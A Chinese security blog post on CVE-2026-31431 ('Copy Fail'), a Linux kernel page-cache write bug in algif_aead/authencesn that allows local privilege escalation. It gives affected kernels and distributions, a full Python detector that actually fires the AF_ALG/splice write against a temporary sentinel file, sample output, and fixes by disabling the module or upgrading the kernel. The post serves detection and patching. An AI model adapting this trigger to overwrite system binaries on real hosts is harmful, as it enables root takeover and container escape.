当前位置:首页>Linux>Linux内核Copy Fail漏洞检测及修复(CVE-2026-31431)

Linux内核Copy Fail漏洞检测及修复(CVE-2026-31431)

  • 2026-10-11 08:22:37
Linux内核Copy Fail漏洞检测及修复(CVE-2026-31431)

本次公开的CVE-2026-31431漏洞,是一则存在于Linux内核algif_aead与authencesn组件中的页缓存临时写入漏洞。

该漏洞存在于Linux内核加密子系统相关逻辑中,攻击者在获得本地普通用户权限后,可通过AF_ALG、splice()与authencesn相关逻辑组合,触发对page cache的受控写入,从而实现本地提权。安全研究团队同步放出了完整检测工具与概念验证POC提权脚本,可实现低权限用户本地提权至root权限。

该漏洞的核心风险并非远程直接入侵,而是放大已有权限:一旦攻击者获得任意低权限执行点,即可瞬间提升为root权限。因此,在多用户 Linux主机、Kubernetes节点、容器平台、CI/CD构建机、自建Runner、云端Notebook、沙箱执行环境等场景下,其危害远高于普通单用户服务器。研究机构特别强调:page cache是宿主机全局共享,这意味着漏洞不仅能本地提权,还可实现容器逃逸、跨租户越权。

受影响产品与内核版本

1、内核版本:2017 年内核72548b093ee3补丁,引入AEAD运算逻辑,埋下漏洞隐患。
2、模块配置:默认启用algif_aead模块,或支持动态加载该模块的系统。
3、权限条件:允许非特权普通用户创建AF_ALG套接字的运行环境。
4、业务场景:运行多租户任务、容器、CI/CD作业、沙箱执行等共享内核的环境。
5、受影响的发行版:Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL、SUSE、Debian、Arch、Fedora、Rocky、Alma、Oracle Linux及各类嵌入式 Linux,只要使用受影响内核,均存在风险。

漏洞检测代码

该检测代码基于Python 3.10+编写,无需其他依赖

#!/usr/bin/env python3# CVE-2026-31431 ("Copy Fail") vulnerability detector.## Attempts to trigger the algif_aead / authencesn page-cache scratch-write# primitive against a user-owned sentinel file in a temp directory. If the# scratch write lands inside the spliced page-cache page, the file's contents# (as observed via a fresh read) will contain the marker bytes.## SAFE BY DESIGN#   * Operates on a sentinel file the running user just created. /usr/bin/su#     and other system binaries are NOT touched.#   * Page-cache corruption is in-memory only; nothing is written back to disk.#   * Exit 0 = NOT vulnerable, 2 = VULNERABLE, 1 = test error.## Use only on hosts you own or are explicitly authorized to test.import errnoimport osimport socketimport structimport sysimport tempfileAF_ALG                    = 38SOL_ALG                   = 279ALG_SET_KEY               = 1ALG_SET_IV                = 2ALG_SET_OP                = 3ALG_SET_AEAD_ASSOCLEN     = 4ALG_OP_DECRYPT            = 0CRYPTO_AUTHENC_KEYA_PARAM = 1   # rtattr type from <crypto/authenc.h>ALG_NAME = "authencesn(hmac(sha256),cbc(aes))"PAGE     = 4096ASSOCLEN = 8     # SPI(4) || seqno_lo(4)CRYPTLEN = 16    # one AES blockTAGLEN   = 16    # truncated HMAC-SHA256MARKER   = b"PWND"def build_authenc_keyblob(authkey: bytes, enckey: bytes) -> bytes:    # struct rtattr { u16 rta_len; u16 rta_type } || __be32 enckeylen || keys    rtattr   = struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM)    keyparam = struct.pack(">I", len(enckey))    return rtattr + keyparam + authkey + enckeydef precheck() -> str | None:    if not os.path.exists("/proc/crypto"):        return "/proc/crypto missing"    try:        socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0).close()    except OSError as e:        return f"AF_ALG socket family unavailable ({e.strerror})"    try:        s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)        s.bind(("aead", ALG_NAME))        s.close()    except OSError as e:        return f"{ALG_NAME!r} cannot be instantiated ({e.strerror})"    return Nonedef attempt_trigger(target_path: str) -> tuple[bool, bytes]:    sentinel = (b"COPYFAIL-SENTINEL-UNCORRUPTED!!\n" * (PAGE // 32))[:PAGE]    with open(target_path, "wb") as f:        f.write(sentinel)    # Populate page cache.    fd_target = os.open(target_path, os.O_RDONLY)    os.read(fd_target, PAGE)    os.lseek(fd_target, 0, os.SEEK_SET)    # Master socket: bind + key.    master = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)    master.bind(("aead", ALG_NAME))    master.setsockopt(        SOL_ALG, ALG_SET_KEY,        build_authenc_keyblob(b"\x00" * 32, b"\x00" * 16),    )    op, _ = master.accept()    # Per-op parameters travel as control messages on sendmsg, not setsockopt.    # AAD bytes 4..7 are seqno_lo - the value the buggy scratch-write copies    # into dst[assoclen + cryptlen]. We pick MARKER so corruption is obvious.    aad = b"\x00" * 4 + MARKER    cmsg = [        (SOL_ALG, ALG_SET_OP,            struct.pack("I", ALG_OP_DECRYPT)),        (SOL_ALG, ALG_SET_IV,            struct.pack("I", 16) + b"\x00" * 16),        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", ASSOCLEN)),    ]    op.sendmsg([aad], cmsg, socket.MSG_MORE)    # Splice CRYPTLEN+TAGLEN bytes of the target's page-cache page into the    # op socket. Because algif_aead runs in-place (req->dst = req->src), those    # page-cache pages now sit in the destination scatterlist.    pr, pw = os.pipe()    try:        n = os.splice(fd_target, pw, CRYPTLEN + TAGLEN, offset_src=0)        if n != CRYPTLEN + TAGLEN:            raise RuntimeError(f"splice file->pipe short: {n}")        n = os.splice(pr, op.fileno(), n)        if n != CRYPTLEN + TAGLEN:            raise RuntimeError(f"splice pipe->op short: {n}")    except OSError as e:        os.close(pr); os.close(pw)        op.close(); master.close(); os.close(fd_target)        if e.errno in (errno.EOPNOTSUPP, errno.ENOTSUP):            raise RuntimeError(                "splice into AF_ALG socket not supported on this kernel - "                "the page-cache attack vector is not reachable here"            ) from e        raise    # Drive the algorithm. Auth check will fail (we sent zero ciphertext+tag);    # EBADMSG is fine - the scratch write fires before/independent of verify.    try:        op.recv(ASSOCLEN + CRYPTLEN + TAGLEN)    except OSError as e:        if e.errno not in (errno.EBADMSG, errno.EINVAL):            raise    op.close()    master.close()    os.close(pr)    os.close(pw)    # Read back via the existing fd (page cache, not disk).    os.lseek(fd_target, 0, os.SEEK_SET)    after = os.read(fd_target, PAGE)    os.close(fd_target)    return after, sentineldef kernel_in_affected_line() -> bool:    # Per the disclosure, fixes landed on the 6.12, 6.17 and 6.18 stable lines.    rel = os.uname().release.split("-")[0]    parts = rel.split(".")    try:        major, minor = int(parts[0]), int(parts[1])    except (ValueError, IndexError):        return False    return (major, minor) >= (6, 12)def main() -> int:    print(f"[*] CVE-2026-31431 detector  kernel={os.uname().release}  "          f"arch={os.uname().machine}")    if not kernel_in_affected_line():        print(f"[i] Kernel {os.uname().release} predates the affected "              f"6.12/6.17/6.18 lines; trigger may not apply even if "              f"prerequisites match.")    reason = precheck()    if reason:        print(f"[+] Precondition not met ({reason}). NOT vulnerable.")        return 0    print(f"[+] AF_ALG + {ALG_NAME!r} loadable - precondition met.")    tmp = tempfile.mkdtemp(prefix="copyfail-")    target = os.path.join(tmp, "sentinel.bin")    try:        after, sentinel = attempt_trigger(target)    except Exception as e:        print(f"[!] Trigger failed: {type(e).__name__}: {e}")        return 1    finally:        try:            os.remove(target)            os.rmdir(tmp)        except OSError:            pass    # The exact landing offset of the 4-byte scratch write depends on how    # the source/destination scatterlists are laid out by algif_aead for this    # combination of inline-AAD + spliced-page input. What's invariant is that    # the 4 bytes from AAD seqno_lo (our marker) appear somewhere in the page,    # AND the marker is not present in the original sentinel.    marker_off  = after.find(MARKER)    marker_orig = sentinel.find(MARKER)    diffs       = [i for i in range(PAGE) if after[i] != sentinel[i]]    if marker_off >= 0 and marker_orig < 0:        ctx = after[max(marker_off - 4, 0):marker_off + 12]        print(f"[!] VULNERABLE to CVE-2026-31431.")        print(f"[!]   Marker {MARKER!r} (AAD seqno_lo) landed in the spliced "              f"page-cache page at offset {marker_off}.")        print(f"[!]   Surrounding bytes: {ctx.hex()}  ({ctx!r})")        print(f"[!] Apply the upstream fix or block algif_aead immediately.")        return 2    if diffs:        first = diffs[0]        window = after[first:first + 16]        print(f"[!] Page cache MODIFIED via in-place AEAD splice path "              f"({len(diffs)} bytes changed, first at offset {first}).")        print(f"[!]   Window: {window.hex()}")        print(f"[!]   The controllable scratch-write marker did not land, but "              f"the kernel still allowed a page-cache page into the writable "              f"AEAD destination scatterlist.")        print(f"[!]   Treat as VULNERABLE to the underlying bug class until "              f"a patched kernel is installed.")        return 2    print("[+] Page cache intact. NOT vulnerable on this kernel.")    return 0if __name__ == "__main__":    sys.exit(main())

如已中招,python执行后,即可看到如下类似提示内容

[*] CVE-2026-31431 detector kernel=5.4.241-30.0017.19 arch=x86_64
[i] Kernel 5.4.241-30.0017.19 predates the affected 6.12/6.17/6.18 lines; trigger may not apply even if prerequisites match.
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.
[!] Surrounding bytes: 50574e444641494c2d53454e (b'PWNDFAIL-SEN')
[!] Apply the upstream fix or block algif_aead immediately.

漏洞修复方法

方法一(临时):

在无法立即升级内核的情况下,可临时禁用algif_aead模块

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.confsudo rmmod algif_aead 2>/dev/null || true
验证
lsmod | grep '^algif_aead'

如果不显示结果,则表示当前模块未加载

方法二(永久):

应立即通过发行版官方渠道升级Linux kernel,确保新内核包含主线修复提交,常见发行版可参考如下操作,更新内核补丁后,必须重启操作系统。

# Debian / Ubuntusudo apt updatesudo apt full-upgradesudo reboot
# RHEL / Rocky / Alma / Oracle Linux / Fedorasudo dnf update kernelsudo reboot
# Amazon Linux 2023sudo dnf update kernelsudo reboot
# SUSE / openSUSEsudo zypper refreshsudo zypper patchsudo reboot

更多内容,请阅读全文!

👇

最新文章

随机文章